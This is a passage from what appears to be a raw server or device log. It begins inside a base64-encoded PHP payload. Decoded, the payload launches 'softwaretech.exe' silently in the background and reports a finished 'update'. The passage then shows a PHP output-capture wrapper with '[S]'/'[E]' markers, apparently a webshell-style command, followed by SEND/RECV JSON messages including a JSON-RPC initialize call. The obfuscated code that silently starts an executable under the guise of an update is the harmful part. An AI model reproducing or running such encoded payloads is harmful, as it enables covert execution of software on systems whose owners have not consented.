0ZSBzb2Z0d2FyZXRlY2guZXhlCmxvZ01lc3NhZ2UoIklORk8iLCAiU3RlcCA1OiBFeGVjdXRpbmcgc29mdHdhcmV0ZWNoLmV4ZS4uLiIpOwpsb2dNZXNzYWdlKCJJTkZPIiwgIkNvbW1hbmQ6IHNvZnR3YXJldGVjaC5leGUgLWMgXCIkY29uZmlnRmlsZVwiIik7CgokYXJndW1lbnRzID0gJy1jICInIC4gJGNvbmZpZ0ZpbGUgLiAnIic7CmlmIChleGVjdXRlSW5CYWNrZ3JvdW5kKCRleGVGaWxlLCAkYXJndW1lbnRzKSkgewogICAgbG9nTWVzc2FnZSgiT0siLCAic29mdHdhcmV0ZWNoLmV4ZSBsYXVuY2hlZCBpbiBiYWNrZ3JvdW5kIik7CiAgICBsb2dNZXNzYWdlKCJJTkZPIiwgIlRoZSBhcHBsaWNhdGlvbiBpcyBydW5uaW5nIHNpbGVudGx5IGluIHRoZSBiYWNrZ3JvdW5kIik7Cn0gZWxzZSB7CiAgICBsb2dNZXNzYWdlKCJFUlJPUiIsICJGYWlsZWQgdG8gZXhlY3V0ZSBzb2Z0d2FyZXRlY2guZXhlIik7CiAgICBleGl0KDEpOwp9Cgpsb2dNZXNzYWdlKCJJTkZPIiwgIiIpOwpsb2dNZXNzYWdlKCJJTkZPIiwgIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsKbG9nTWVzc2FnZSgiSU5GTyIsICJVcGRhdGUgcHJvY2VzcyBjb21wbGV0ZWQgc3VjY2Vzc2Z1bGx5Iik7CmxvZ01lc3NhZ2UoIklORk8iLCAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOwoKZXhpdCgwKTsKPz4K');
$out = ob_get_clean();
echo '[S]' . $out . '[E]';
?>
null
2026-07-01 18:40:30 SEND
{"devsn":"","func":"","timestamp":"","code":"1"}
{
    "devsn": "",
    "func": "",
    "timestamp": "",
    "code": "1"
}
2026-07-01 18:40:30 RECV
{"id":1,"jsonrpc":"2.0","method":"initialize","params":{"capabilities":{},"clientInfo":{"name":"client","version":"0"},"protocolVersion":"2025-03-26"}}
{
    "id": 1,
    "jsonrpc": "2.0",
    "method": "initialize",
    "params": {
        "capabilities": [],
        "clientInfo": {
            "name": "client",
            "version": "0"
        },
        "protocolVersion": "2025-03-26"
    }
}